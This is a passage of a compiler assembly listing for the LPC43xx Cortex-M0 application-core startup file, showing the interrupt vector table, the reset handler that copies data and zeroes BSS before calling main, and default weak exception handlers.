240:../src/cr_startup_lpc43xx-m0app.c **** #else
241:../src/cr_startup_lpc43xx-m0app.c **** // Core Level - CM0
242:../src/cr_startup_lpc43xx-m0app.c **** &_vStackTop, // The initial stack pointer
243:../src/cr_startup_lpc43xx-m0app.c **** ResetISR, // 1 The reset handler
244:../src/cr_startup_lpc43xx-m0app.c **** M0_NMI_Handler, // 2 The NMI handler
245:../src/cr_startup_lpc43xx-m0app.c **** M0_HardFault_Handler, // 3 The hard fault handler
246:../src/cr_startup_lpc43xx-m0app.c **** 0, // 4 Reserved
247:../src/cr_startup_lpc43xx-m0app.c **** 0, // 5 Reserved
248:../src/cr_startup_lpc43xx-m0app.c **** 0, // 6 Reserved
249:../src/cr_startup_lpc43xx-m0app.c **** 0, // 7 Reserved
250:../src/cr_startup_lpc43xx-m0app.c **** 0, // 8 Reserved
251:../src/cr_startup_lpc43xx-m0app.c **** 0, // 9 Reserved
252:../src/cr_startup_lpc43xx-m0app.c **** 0, // 10 Reserved
253:../src/cr_startup_lpc43xx-m0app.c **** M0_SVC_Handler, // 11 SVCall handler
254:../src/cr_startup_lpc43xx-m0app.c **** 0, // 12 Reserved
255:../src/cr_startup_lpc43xx-m0app.c **** 0, // 13 Reserved
256:../src/cr_startup_lpc43xx-m0app.c **** M0_PendSV_Handler, // 14 The PendSV handler
257:../src/cr_startup_lpc43xx-m0app.c **** M0_SysTick_Handler, // 15 The SysTick handler
258:../src/cr_startup_lpc43xx-m0app.c ****
259:../src/cr_startup_lpc43xx-m0app.c **** // Chip Level - LPC43 (CM0 APP)
260:../src/cr_startup_lpc43xx-m0app.c **** M0_RTC_IRQHandler, // 16 RTC
261:../src/cr_startup_lpc43xx-m0app.c **** M0_M4CORE_IRQHandler, // 17 Interrupt from M4 Core
262:../src/cr_startup_lpc43xx-m0app.c **** M0_DMA_IRQHandler, // 18 General Purpose DMA
263:../src/cr_startup_lpc43xx-m0app.c **** 0, // 19 Reserved
264:../src/cr_startup_lpc43xx-m0app.c **** 0, // 20 Reserved
265:../src/cr_startup_lpc43xx-m0app.c **** M0_ETH_IRQHandler, // 21 Ethernet
266:../src/cr_startup_lpc43xx-m0app.c **** M0_SDIO_IRQHandler, // 22 SD/MMC
267:../src/cr_startup_lpc43xx-m0app.c **** M0_LCD_IRQHandler, // 23 LCD
268:../src/cr_startup_lpc43xx-m0app.c **** M0_USB0_IRQHandler, // 24 USB0
269:../src/cr_startup_lpc43xx-m0app.c **** M0_USB1_IRQHandler, // 25 USB1
270:../src/cr_startup_lpc43xx-m0app.c **** M0_SCT_IRQHandler , // 26 State Configurable Timer
271:../src/cr_startup_lpc43xx-m0app.c **** M0_RIT_OR_WWDT_IRQHandler, // 27 Repetitive Interrupt Timer
272:../src/cr_startup_lpc43xx-m0app.c **** M0_TIMER0_IRQHandler, // 28 Timer0
273:../src/cr_startup_lpc43xx-m0app.c **** M0_GINT1_IRQHandler, // 29 GINT1
274:../src/cr_startup_lpc43xx-m0app.c **** M0_TIMER3_IRQHandler, // 30 Timer3
275:../src/cr_startup_lpc43xx-m0app.c **** 0, // 31 Reserved
276:../src/cr_startup_lpc43xx-m0app.c **** 0 , // 32 Reserved
277:../src/cr_startup_lpc43xx-m0app.c **** M0_MCPWM_IRQHandler, // 33 Motor Control PWM
278:../src/cr_startup_lpc43xx-m0app.c **** M0_ADC0_IRQHandler, // 34 ADC0
279:../src/cr_startup_lpc43xx-m0app.c **** M0_I2C0_OR_I2C1_IRQHandler, // 35 I2C0 or I2C1
280:../src/cr_startup_lpc43xx-m0app.c **** M0_SGPIO_IRQHandler, // 36 Serial GPIO
281:../src/cr_startup_lpc43xx-m0app.c **** M0_SPI_OR_DAC_IRQHandler, // 37 SPI or DAC
282:../src/cr_startup_lpc43xx-m0app.c **** M0_ADC1_IRQHandler, // 38 ADC1
283:../src/cr_startup_lpc43xx-m0app.c **** M0_SSP0_OR_SSP1_IRQHandler, // 39 SSP0 or SSP1
284:../src/cr_startup_lpc43xx-m0app.c **** M0_EVENTROUTER_IRQHandler, // 40 Event Router
285:../src/cr_startup_lpc43xx-m0app.c **** M0_USART0_IRQHandler, // 41 USART0
286:../src/cr_startup_lpc43xx-m0app.c **** M0_USART2_OR_C_CAN1_IRQHandler, // 42 USART2 or C CAN1
287:../src/cr_startup_lpc43xx-m0app.c **** M0_USART3_IRQHandler, // 43 USART3
288:../src/cr_startup_lpc43xx-m0app.c **** M0_I2S0_OR_I2S1_OR_QEI_IRQHandler, // 44 I2S0 or I2S1 or QEI
289:../src/cr_startup_lpc43xx-m0app.c **** M0_C_CAN0_IRQHandler, // 45 C CAN0
290:../src/cr_startup_lpc43xx-m0app.c **** M0_SPIFI_OR_VADC_IRQHandler, // 46
291:../src/cr_startup_lpc43xx-m0app.c **** M0_M0SUB_IRQHandler, // 47 Interrupt from M0SUB
292:../src/cr_startup_lpc43xx-m0app.c **** };
293:../src/cr_startup_lpc43xx-m0app.c **** #endif
294:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
295:../src/cr_startup_lpc43xx-m0app.c **** // Functions to carry out the initialization of RW and BSS data sections. These
296:../src/cr_startup_lpc43xx-m0app.c **** // are written as separate functions rather than being inlined within the
297:../src/cr_startup_lpc43xx-m0app.c **** // ResetISR() function in order to cope with MCUs with multiple banks of
298:../src/cr_startup_lpc43xx-m0app.c **** // memory.
299:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
300:../src/cr_startup_lpc43xx-m0app.c **** __attribute__ ((section(".after_vectors")))
301:../src/cr_startup_lpc43xx-m0app.c **** void data_init(unsigned int romstart, unsigned int start, unsigned int len) {
82 .loc 1 301 0
83 .cfi_startproc
84 0000 80B5 push {r7, lr}
85 .cfi_def_cfa_offset 8
86 .cfi_offset 7, -8
87 .cfi_offset 14, -4
88 0002 88B0 sub sp, sp, #32
89 .cfi_def_cfa_offset 40
90 0004 00AF add r7, sp, #0
91 .cfi_def_cfa_register 7
92 0006 F860 str r0, [r7, #12]
93 0008 B960 str r1, [r7, #8]
94 000a 7A60 str r2, [r7, #4]
302:../src/cr_startup_lpc43xx-m0app.c **** unsigned int *pulDest = (unsigned int*) start;
95 .loc 1 302 0
96 000c BB68 ldr r3, [r7, #8]
97 000e FB61 str r3, [r7, #28]
303:../src/cr_startup_lpc43xx-m0app.c **** unsigned int *pulSrc = (unsigned int*) romstart;
98 .loc 1 303 0
99 0010 FB68 ldr r3, [r7, #12]
100 0012 BB61 str r3, [r7, #24]
304:../src/cr_startup_lpc43xx-m0app.c **** unsigned int loop;
305:../src/cr_startup_lpc43xx-m0app.c **** for (loop = 0; loop < len; loop = loop + 4)
101 .loc 1 305 0
102 0014 0023 movs r3, #0
103 0016 7B61 str r3, [r7, #20]
104 0018 0AE0 b .L2
105 .L3:
306:../src/cr_startup_lpc43xx-m0app.c **** *pulDest++ = *pulSrc++;
106 .loc 1 306 0 discriminator 3
107 001a FB69 ldr r3, [r7, #28]
108 001c 1A1D adds r2, r3, #4
109 001e FA61 str r2, [r7, #28]
110 0020 BA69 ldr r2, [r7, #24]
111 0022 111D adds r1, r2, #4
112 0024 B961 str r1, [r7, #24]
113 0026 1268 ldr r2, [r2]
114 0028 1A60 str r2, [r3]
305:../src/cr_startup_lpc43xx-m0app.c **** *pulDest++ = *pulSrc++;
115 .loc 1 305 0 discriminator 3
116 002a 7B69 ldr r3, [r7, #20]
117 002c 0433 adds r3, r3, #4
118 002e 7B61 str r3, [r7, #20]
119 .L2:
305:../src/cr_startup_lpc43xx-m0app.c **** *pulDest++ = *pulSrc++;
120 .loc 1 305 0 is_stmt 0 discriminator 1
121 0030 7A69 ldr r2, [r7, #20]
122 0032 7B68 ldr r3, [r7, #4]
123 0034 9A42 cmp r2, r3
124 0036 F0D3 bcc .L3
307:../src/cr_startup_lpc43xx-m0app.c **** }
125 .loc 1 307 0 is_stmt 1
126 0038 C046 nop
127 003a BD46 mov sp, r7
128 003c 08B0 add sp, sp, #32
129 @ sp needed
130 003e 80BD pop {r7, pc}
131 .cfi_endproc
132 .LFE32:
134 .align 2
135 .global bss_init
136 .code 16
137 .thumb_func
139 bss_init:
140 .LFB33:
308:../src/cr_startup_lpc43xx-m0app.c ****
309:../src/cr_startup_lpc43xx-m0app.c **** __attribute__ ((section(".after_vectors")))
310:../src/cr_startup_lpc43xx-m0app.c **** void bss_init(unsigned int start, unsigned int len) {
141 .loc 1 310 0
142 .cfi_startproc
143 0040 80B5 push {r7, lr}
144 .cfi_def_cfa_offset 8
145 .cfi_offset 7, -8
146 .cfi_offset 14, -4
147 0042 84B0 sub sp, sp, #16
148 .cfi_def_cfa_offset 24
149 0044 00AF add r7, sp, #0
150 .cfi_def_cfa_register 7
151 0046 7860 str r0, [r7, #4]
152 0048 3960 str r1, [r7]
311:../src/cr_startup_lpc43xx-m0app.c **** unsigned int *pulDest = (unsigned int*) start;
153 .loc 1 311 0
154 004a 7B68 ldr r3, [r7, #4]
155 004c FB60 str r3, [r7, #12]
312:../src/cr_startup_lpc43xx-m0app.c **** unsigned int loop;
313:../src/cr_startup_lpc43xx-m0app.c **** for (loop = 0; loop < len; loop = loop + 4)
156 .loc 1 313 0
157 004e 0023 movs r3, #0
158 0050 BB60 str r3, [r7, #8]
159 0052 07E0 b .L5
160 .L6:
314:../src/cr_startup_lpc43xx-m0app.c **** *pulDest++ = 0;
161 .loc 1 314 0 discriminator 3
162 0054 FB68 ldr r3, [r7, #12]
163 0056 1A1D adds r2, r3, #4
164 0058 FA60 str r2, [r7, #12]
165 005a 0022 movs r2, #0
166 005c 1A60 str r2, [r3]
313:../src/cr_startup_lpc43xx-m0app.c **** *pulDest++ = 0;
167 .loc 1 313 0 discriminator 3
168 005e BB68 ldr r3, [r7, #8]
169 0060 0433 adds r3, r3, #4
170 0062 BB60 str r3, [r7, #8]
171 .L5:
313:../src/cr_startup_lpc43xx-m0app.c **** *pulDest++ = 0;
172 .loc 1 313 0 is_stmt 0 discriminator 1
173 0064 BA68 ldr r2, [r7, #8]
174 0066 3B68 ldr r3, [r7]
175 0068 9A42 cmp r2, r3
176 006a F3D3 bcc .L6
315:../src/cr_startup_lpc43xx-m0app.c **** }
177 .loc 1 315 0 is_stmt 1
178 006c C046 nop
179 006e BD46 mov sp, r7
180 0070 04B0 add sp, sp, #16
181 @ sp needed
182 0072 80BD pop {r7, pc}
183 .cfi_endproc
184 .LFE33:
186 .section .text.ResetISR,"ax",%progbits
187 .align 2
188 .global ResetISR
189 .code 16
190 .thumb_func
192 ResetISR:
193 .LFB34:
316:../src/cr_startup_lpc43xx-m0app.c ****
317:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
318:../src/cr_startup_lpc43xx-m0app.c **** // The following symbols are constructs generated by the linker, indicating
319:../src/cr_startup_lpc43xx-m0app.c **** // the location of various points in the "Global Section Table". This table is
320:../src/cr_startup_lpc43xx-m0app.c **** // created by the linker via the Code Red managed linker script mechanism. It
321:../src/cr_startup_lpc43xx-m0app.c **** // contains the load address, execution address and length of each RW data
322:../src/cr_startup_lpc43xx-m0app.c **** // section and the execution and length of each BSS (zero initialized) section.
323:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
324:../src/cr_startup_lpc43xx-m0app.c **** extern unsigned int __data_section_table;
325:../src/cr_startup_lpc43xx-m0app.c **** extern unsigned int __data_section_table_end;
326:../src/cr_startup_lpc43xx-m0app.c **** extern unsigned int __bss_section_table;
327:../src/cr_startup_lpc43xx-m0app.c **** extern unsigned int __bss_section_table_end;
328:../src/cr_startup_lpc43xx-m0app.c ****
329:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
330:../src/cr_startup_lpc43xx-m0app.c **** // Reset entry point for your code.
331:../src/cr_startup_lpc43xx-m0app.c **** // Sets up a simple runtime environment and initializes the C/C++
332:../src/cr_startup_lpc43xx-m0app.c **** // library.
333:../src/cr_startup_lpc43xx-m0app.c **** //
334:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
335:../src/cr_startup_lpc43xx-m0app.c **** void
336:../src/cr_startup_lpc43xx-m0app.c **** ResetISR(void) {
194 .loc 1 336 0
195 .cfi_startproc
196 0000 80B5 push {r7, lr}
197 .cfi_def_cfa_offset 8
198 .cfi_offset 7, -8
199 .cfi_offset 14, -4
200 0002 86B0 sub sp, sp, #24
201 .cfi_def_cfa_offset 32
202 0004 00AF add r7, sp, #0
203 .cfi_def_cfa_register 7
337:../src/cr_startup_lpc43xx-m0app.c ****
338:../src/cr_startup_lpc43xx-m0app.c **** // ******************************
339:../src/cr_startup_lpc43xx-m0app.c **** // Modify CREG->M0APPMAP so that M0 looks in correct place
340:../src/cr_startup_lpc43xx-m0app.c **** // for its vector table when an exception is triggered.
341:../src/cr_startup_lpc43xx-m0app.c **** // Note that we do not use the CMSIS register access mechanism,
342:../src/cr_startup_lpc43xx-m0app.c **** // as there is no guarantee that the project has been configured
343:../src/cr_startup_lpc43xx-m0app.c **** // to use CMSIS.
344:../src/cr_startup_lpc43xx-m0app.c **** unsigned int *pCREG_M0APPMAP = (unsigned int *) 0x40043404;
204 .loc 1 344 0
205 0006 1C4B ldr r3, .L13
206 0008 3B61 str r3, [r7, #16]
345:../src/cr_startup_lpc43xx-m0app.c **** // CMSIS : CREG->M0APPMAP = <address of vector table>
346:../src/cr_startup_lpc43xx-m0app.c **** *pCREG_M0APPMAP = (unsigned int)g_pfnVectors;
207 .loc 1 346 0
208 000a 1C4A ldr r2, .L13+4
209 000c 3B69 ldr r3, [r7, #16]
210 000e 1A60 str r2, [r3]
347:../src/cr_startup_lpc43xx-m0app.c ****
348:../src/cr_startup_lpc43xx-m0app.c **** //
349:../src/cr_startup_lpc43xx-m0app.c **** // Copy the data sections from flash to SRAM.
350:../src/cr_startup_lpc43xx-m0app.c **** //
351:../src/cr_startup_lpc43xx-m0app.c **** unsigned int LoadAddr, ExeAddr, SectionLen;
352:../src/cr_startup_lpc43xx-m0app.c **** unsigned int *SectionTableAddr;
353:../src/cr_startup_lpc43xx-m0app.c ****
354:../src/cr_startup_lpc43xx-m0app.c **** // Load base address of Global Section Table
355:../src/cr_startup_lpc43xx-m0app.c **** SectionTableAddr = &__data_section_table;
211 .loc 1 355 0
212 0010 1B4B ldr r3, .L13+8
213 0012 7B61 str r3, [r7, #20]
356:../src/cr_startup_lpc43xx-m0app.c ****
357:../src/cr_startup_lpc43xx-m0app.c **** // Copy the data sections from flash to SRAM.
358:../src/cr_startup_lpc43xx-m0app.c **** while (SectionTableAddr < &__data_section_table_end) {
214 .loc 1 358 0
215 0014 14E0 b .L8
216 .L9:
359:../src/cr_startup_lpc43xx-m0app.c **** LoadAddr = *SectionTableAddr++;
217 .loc 1 359 0
218 0016 7B69 ldr r3, [r7, #20]
219 0018 1A1D adds r2, r3, #4
220 001a 7A61 str r2, [r7, #20]
221 001c 1B68 ldr r3, [r3]
222 001e FB60 str r3, [r7, #12]
360:../src/cr_startup_lpc43xx-m0app.c **** ExeAddr = *SectionTableAddr++;
223 .loc 1 360 0
224 0020 7B69 ldr r3, [r7, #20]
225 0022 1A1D adds r2, r3, #4
226 0024 7A61 str r2, [r7, #20]
227 0026 1B68 ldr r3, [r3]
228 0028 BB60 str r3, [r7, #8]
361:../src/cr_startup_lpc43xx-m0app.c **** SectionLen = *SectionTableAddr++;
229 .loc 1 361 0
230 002a 7B69 ldr r3, [r7, #20]
231 002c 1A1D adds r2, r3, #4
232 002e 7A61 str r2, [r7, #20]
233 0030 1B68 ldr r3, [r3]
234 0032 7B60 str r3, [r7, #4]
362:../src/cr_startup_lpc43xx-m0app.c **** data_init(LoadAddr, ExeAddr, SectionLen);
235 .loc 1 362 0
236 0034 7A68 ldr r2, [r7, #4]
237 0036 B968 ldr r1, [r7, #8]
238 0038 FB68 ldr r3, [r7, #12]
239 003a 1800 movs r0, r3
240 003c FFF7FEFF bl data_init
241 .L8:
358:../src/cr_startup_lpc43xx-m0app.c **** LoadAddr = *SectionTableAddr++;
242 .loc 1 358 0
243 0040 7A69 ldr r2, [r7, #20]
244 0042 104B ldr r3, .L13+12
245 0044 9A42 cmp r2, r3
246 0046 E6D3 bcc .L9
363:../src/cr_startup_lpc43xx-m0app.c **** }
364:../src/cr_startup_lpc43xx-m0app.c **** // At this point, SectionTableAddr = &__bss_section_table;
365:../src/cr_startup_lpc43xx-m0app.c **** // Zero fill the bss segment
366:../src/cr_startup_lpc43xx-m0app.c **** while (SectionTableAddr < &__bss_section_table_end) {
247 .loc 1 366 0
248 0048 0FE0 b .L10
249 .L11:
367:../src/cr_startup_lpc43xx-m0app.c **** ExeAddr = *SectionTableAddr++;
250 .loc 1 367 0
251 004a 7B69 ldr r3, [r7, #20]
252 004c 1A1D adds r2, r3, #4
253 004e 7A61 str r2, [r7, #20]
254 0050 1B68 ldr r3, [r3]
255 0052 BB60 str r3, [r7, #8]
368:../src/cr_startup_lpc43xx-m0app.c **** SectionLen = *SectionTableAddr++;
256 .loc 1 368 0
257 0054 7B69 ldr r3, [r7, #20]
258 0056 1A1D adds r2, r3, #4
259 0058 7A61 str r2, [r7, #20]
260 005a 1B68 ldr r3, [r3]
261 005c 7B60 str r3, [r7, #4]
369:../src/cr_startup_lpc43xx-m0app.c **** bss_init(ExeAddr, SectionLen);
262 .loc 1 369 0
263 005e 7A68 ldr r2, [r7, #4]
264 0060 BB68 ldr r3, [r7, #8]
265 0062 1100 movs r1, r2
266 0064 1800 movs r0, r3
267 0066 FFF7FEFF bl bss_init
268 .L10:
366:../src/cr_startup_lpc43xx-m0app.c **** ExeAddr = *SectionTableAddr++;
269 .loc 1 366 0
270 006a 7A69 ldr r2, [r7, #20]
271 006c 064B ldr r3, .L13+16
272 006e 9A42 cmp r2, r3
273 0070 EBD3 bcc .L11
370:../src/cr_startup_lpc43xx-m0app.c **** }
371:../src/cr_startup_lpc43xx-m0app.c ****
372:../src/cr_startup_lpc43xx-m0app.c **** // **********************************************************
373:../src/cr_startup_lpc43xx-m0app.c **** // No need to call SystemInit() here, as master CM4 cpu will
374:../src/cr_startup_lpc43xx-m0app.c **** // have done the main system set up before enabling CM0.
375:../src/cr_startup_lpc43xx-m0app.c **** // **********************************************************
376:../src/cr_startup_lpc43xx-m0app.c ****
377:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__cplusplus)
378:../src/cr_startup_lpc43xx-m0app.c **** //
379:../src/cr_startup_lpc43xx-m0app.c **** // Call C++ library initialisation
380:../src/cr_startup_lpc43xx-m0app.c **** //
381:../src/cr_startup_lpc43xx-m0app.c **** __libc_init_array();
382:../src/cr_startup_lpc43xx-m0app.c **** #endif
383:../src/cr_startup_lpc43xx-m0app.c ****
384:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__REDLIB__)
385:../src/cr_startup_lpc43xx-m0app.c **** // Call the Redlib library, which in turn calls main()
386:../src/cr_startup_lpc43xx-m0app.c **** __main() ;
274 .loc 1 386 0
275 0072 FFF7FEFF bl __main
276 .L12:
387:../src/cr_startup_lpc43xx-m0app.c **** #else
388:../src/cr_startup_lpc43xx-m0app.c **** main();
389:../src/cr_startup_lpc43xx-m0app.c **** #endif
390:../src/cr_startup_lpc43xx-m0app.c ****
391:../src/cr_startup_lpc43xx-m0app.c **** //
392:../src/cr_startup_lpc43xx-m0app.c **** // main() shouldn't return, but if it does, we'll just enter an infinite loop
393:../src/cr_startup_lpc43xx-m0app.c **** //
394:../src/cr_startup_lpc43xx-m0app.c **** while (1) {
395:../src/cr_startup_lpc43xx-m0app.c **** ;
396:../src/cr_startup_lpc43xx-m0app.c **** }
277 .loc 1 396 0 discriminator 1
278 0076 FEE7 b .L12
279 .L14:
280 .align 2
281 .L13:
282 0078 04340440 .word 1074017284
283 007c 00000000 .word g_pfnVectors
284 0080 00000000 .word __data_section_table
285 0084 00000000 .word __data_section_table_end
286 0088 00000000 .word __bss_section_table_end
287 .cfi_endproc
288 .LFE34:
290 .section .after_vectors
291 .align 2
292 .weak M0_NMI_Handler
293 .code 16
294 .thumb_func
296 M0_NMI_Handler:
297 .LFB35:
397:../src/cr_startup_lpc43xx-m0app.c **** }
398:../src/cr_startup_lpc43xx-m0app.c ****
399:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
400:../src/cr_startup_lpc43xx-m0app.c **** // Default exception handlers. Override the ones here by defining your own
401:../src/cr_startup_lpc43xx-m0app.c **** // handler routines in your application code.
402:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
403:../src/cr_startup_lpc43xx-m0app.c **** __attribute__ ((section(".after_vectors")))
404:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__USE_LPCOPEN)
405:../src/cr_startup_lpc43xx-m0app.c **** void NMI_Handler(void)
406:../src/cr_startup_lpc43xx-m0app.c **** #else
407:../src/cr_startup_lpc43xx-m0app.c **** void M0_NMI_Handler(void)
408:../src/cr_startup_lpc43xx-m0app.c **** #endif
409:../src/cr_startup_lpc43xx-m0app.c **** { while(1) { }
298 .loc 1 409 0
299 .cfi_startproc
300 0074 80B5 push {r7, lr}
301 .cfi_def_cfa_offset 8
302 .cfi_offset 7, -8
303 .cfi_offset 14, -4
304 0076 00AF add r7, sp, #0
305 .cfi_def_cfa_register 7
306 .L16:
307 .loc 1 409 0 discriminator 1
308 0078 FEE7 b .L16
309 .cfi_endproc
310 .LFE35:
312 .section .rodata
313 .align 2
314 .LC4:
315 0000 48617264 .ascii "HardFault\012\000"
315 4661756C
315 740A00
316 .section .after_vectors
317 007a C046 .align 2
318 .weak M0_HardFault_Handler
319 .code 16
320 .thumb_func
322 M0_HardFault_Handler:
323 .LFB36:
410:../src/cr_startup_lpc43xx-m0app.c **** }
411:../src/cr_startup_lpc43xx-m0app.c ****
412:../src/cr_startup_lpc43xx-m0app.c **** __attribute__ ((section(".after_vectors")))
413:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__USE_LPCOPEN)
414:../src/cr_startup_lpc43xx-m0app.c **** void HardFault_Handler(void)
415:../src/cr_startup_lpc43xx-m0app.c **** #else
416:../src/cr_startup_lpc43xx-m0app.c **** void M0_HardFault_Handler(void)
417:../src/cr_startup_lpc43xx-m0app.c **** #endif
418:../src/cr_startup_lpc43xx-m0app.c **** {
324 .loc 1 418 0
325 .cfi_startproc
326 007c 80B5 push {r7, lr}
327 .cfi_def_cfa_offset 8
328 .cfi_offset 7, -8
329 .cfi_offset 14, -4
330 007e 00AF add r7, sp, #0
331 .cfi_def_cfa_register 7
419:../src/cr_startup_lpc43xx-m0app.c **** _DBG("HardFault\n");
332 .loc 1 419 0
333 0080 034B ldr r3, .L19
334 0082 044A ldr r2, .L19+4
335 0084 1900 movs r1, r3
336 0086 1000 movs r0, r2
337 0088 FFF7FEFF bl UARTPuts
338 .L18:
420:../src/cr_startup_lpc43xx-m0app.c **** while(1) { }
339 .loc 1 420 0 discriminator 1
340 008c FEE7 b .L18
341 .L20:
342 008e C046 .align 2
343 .L19:
344 0090 00000000 .word .LC4
345 0094 00200840 .word 1074274304
346 .cfi_endproc
347 .LFE36:
349 .align 2
350 .weak M0_SVC_Handler
351 .code 16
352 .thumb_func
354 M0_SVC_Handler:
355 .LFB37:
421:../src/cr_startup_lpc43xx-m0app.c **** }
422:../src/cr_startup_lpc43xx-m0app.c ****
423:../src/cr_startup_lpc43xx-m0app.c **** __attribute__ ((section(".after_vectors")))
424:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__USE_LPCOPEN)
425:../src/cr_startup_lpc43xx-m0app.c **** void SVC_Handler(void)
426:../src/cr_startup_lpc43xx-m0app.c **** #else
427:../src/cr_startup_lpc43xx-m0app.c **** void M0_SVC_Handler(void)
428:../src/cr_startup_lpc43xx-m0app.c **** #endif
429:../src/cr_startup_lpc43xx-m0app.c **** { while(1) { }
356 .loc 1 429 0
357 .cfi_startproc
358 0098 80B5 push {r7, lr}
359 .cfi_def_cfa_offset 8
360 .cfi_offset 7, -8
361 .cfi_offset 14, -4
362 009a 00AF add r7, sp, #0
363 .cfi_def_cfa_register 7
364 .L22:
365 .loc 1 429 0 discriminator 1
366 009c FEE7 b .L22
367 .cfi_endproc
368 .LFE37:
370 009e C046 .align 2
371 .weak M0_PendSV_Handler
372 .code 16
373 .thumb_func
375 M0_PendSV_Handler:
376 .LFB38:
430:../src/cr_startup_lpc43xx-m0app.c **** }
431:../src/cr_startup_lpc43xx-m0app.c ****
432:../src/cr_startup_lpc43xx-m0app.c **** __attribute__ ((section(".after_vectors")))
433:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__USE_LPCOPEN)
434:../src/cr_startup_lpc43xx-m0app.c **** void PendSV_Handler(void)
435:../src/cr_startup_lpc43xx-m0app.c **** #else
436:../src/cr_startup_lpc43xx-m0app.c **** void M0_PendSV_Handler(void)
437:../src/cr_startup_lpc43xx-m0app.c **** #endif
438:../src/cr_startup_lpc43xx-m0app.c **** { while(1) { }
377 .loc 1 438 0
378 .cfi_startproc
379 00a0 80B5 push {r7, lr}
380 .cfi_def_cfa_offset 8
381 .cfi_offset 7, -8
382 .cfi_offset 14, -4
383 00a2 00AF add r7, sp, #0
384 .cfi_def_cfa_register 7
385 .L24:
386 .loc 1 438 0 discriminator 1
387 00a4 FEE7 b .L24
388 .cfi_endproc
389 .LFE38:
391 00a6 C046 .align 2
392 .weak M0_SysTick_Handler
393 .code 16
394 .thumb_func
396 M0_SysTick_Handler:
397 .LFB39:
439:../src/cr_startup_lpc43xx-m0app.c **** }
440:../src/cr_startup_lpc43xx-m0app.c ****
441:../src/cr_startup_lpc43xx-m0app.c **** __attribute__ ((section(".after_vectors")))
442:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__USE_LPCOPEN)
443:../src/cr_startup_lpc43xx-m0app.c **** void SysTick_Handler(void)
444:../src/cr_startup_lpc43xx-m0app.c **** #else
445:../src/cr_startup_lpc43xx-m0app.c **** void M0_SysTick_Handler(void)
446:../src/cr_startup_lpc43xx-m0app.c **** #endif
447:../src/cr_startup_lpc43xx-m0app.c **** { while(1) { }
398 .loc 1 447 0
399 .cfi_startproc
400 00a8 80B5 push {r7, lr}
401 .cfi_def_cfa_offset 8
402 .cfi_offset 7, -8
403 .cfi_offset 14, -4
404 00aa 00AF add r7, sp, #0
405 .cfi_def_cfa_register 7
406 .L26:
407 .loc 1 447 0 discriminator 1
408 00ac FEE7 b .L26
409 .cfi_endproc
410 .LFE39:
412 00ae C046 .align 2
413 .weak M0_IntDefaultHandler
414 .code 16
415 .thumb_func
417 M0_IntDefaultHandler:
418 .LFB40:
448:../src/cr_startup_lpc43xx-m0app.c **** }
449:../src/cr_startup_lpc43xx-m0app.c ****
450:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
451:../src/cr_startup_lpc43xx-m0app.c **** //
452:../src/cr_startup_lpc43xx-m0app.c **** // Processor ends up here if an unexpected interrupt occurs or a specific
453:../src/cr_startup_lpc43xx-m0app.c **** // handler is not present in the application code.
454:../src/cr_startup_lpc43xx-m0app.c **** //
455:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
456:../src/cr_startup_lpc43xx-m0app.c **** __attribute__ ((section(".after_vectors")))
457:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__USE_LPCOPEN)
458:../src/cr_startup_lpc43xx-m0app.c **** void IntDefaultHandler(void)
459:../src/cr_startup_lpc43xx-m0app.c **** #else
460:../src/cr_startup_lpc43xx-m0app.c **** void M0_IntDefaultHandler(void)
461:../src/cr_startup_lpc43xx-m0app.c **** #endif
462:../src/cr_startup_lpc43xx-m0app.c **** { while(1) { }
419 .loc 1 462 0
420 .cfi_startproc
421 00b0 80B5 push {r7, lr}
422 .cfi_def_cfa_offset 8
423 .cfi_offset 7, -8
424 .cfi_offset 14, -4
425 00b2 00AF add r7, sp, #0
426 .cfi_def_cfa_register 7
427 .L28:
428 .loc 1 462 0 discriminator 1
429 00b4 FEE7 b .L28
430 .cfi_endproc
431 .LFE40:
433 .weak M0_M0SUB_IRQHandler
434 .thumb_set M0_M0SUB_IRQHandler,M0_IntDefaultHandler
435 .weak M0_SPIFI_OR_VADC_IRQHandler
436 .thumb_set M0_SPIFI_OR_VADC_IRQHandler,M0_IntDefaultHandler
437 .weak M0_C_CAN0_IRQHandler
438 .thumb_set M0_C_CAN0_IRQHandler,M0_IntDefaultHandler
439 .weak M0_I2S0_OR_I2S1_OR_QEI_IRQHandler
440 .thumb_set M0_I2S0_OR_I2S1_OR_QEI_IRQHandler,M0_IntDefaultHandler
441 .weak M0_USART3_IRQHandler
442 .thumb_set M0_USART3_IRQHandler,M0_IntDefaultHandler
443 .weak M0_USART2_OR_C_CAN1_IRQHandler
444 .thumb_set M0_USART2_OR_C_CAN1_IRQHandler,M0_IntDefaultHandler
445 .weak M0_USART0_IRQHandler
446 .thumb_set M0_USART0_IRQHandler,M0_IntDefaultHandler
447 .weak M0_EVENTROUTER_IRQHandler
448 .thumb_set M0_EVENTROUTER_IRQHandler,M0_IntDefaultHandler
449 .weak M0_SSP0_OR_SSP1_IRQHandler
450 .thumb_set M0_SSP0_OR_SSP1_IRQHandler,M0_IntDefaultHandler
451 .weak M0_ADC1_IRQHandler
452 .thumb_set M0_ADC1_IRQHandler,M0_IntDefaultHandler
453 .weak M0_SPI_OR_DAC_IRQHandler
454 .thumb_set M0_SPI_OR_DAC_IRQHandler,M0_IntDefaultHandler
455 .weak M0_SGPIO_IRQHandler
456 .thumb_set M0_SGPIO_IRQHandler,M0_IntDefaultHandler
457 .weak M0_I2C0_OR_I2C1_IRQHandler
458 .thumb_set M0_I2C0_OR_I2C1_IRQHandler,M0_IntDefaultHandler
459 .weak M0_ADC0_IRQHandler
460 .thumb_set M0_ADC0_IRQHandler,M0_IntDefaultHandler
